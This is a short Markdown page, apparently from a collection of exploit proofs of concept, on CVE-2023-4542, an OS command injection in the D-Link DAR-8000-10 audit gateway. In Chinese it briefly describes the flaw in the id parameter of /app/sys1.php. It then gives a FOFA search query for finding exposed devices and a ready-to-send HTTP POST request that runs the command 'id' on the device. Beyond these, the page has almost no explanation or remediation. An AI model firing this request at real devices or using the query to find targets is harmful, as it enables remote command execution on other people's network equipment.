35 lines
1.1 KiB
Markdown
35 lines
1.1 KiB
Markdown
## D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542)
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D-Link DAR-8000是中国友讯（D-Link）公司的上网行为审计网关。
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D-Link DAR-8000-10版本存在操作系统命令注入漏洞，该漏洞源于文件/app/sys1.php的参数id会导致操作系统命令注入。
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## fofa
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```
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body="DAR-8000-10" && title="D-Link"
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```
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## poc
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```
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POST /app/sys1.php HTTP/1.1
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Host: 127.0.0.1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Te: trailers
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 6
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cmd=id
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```
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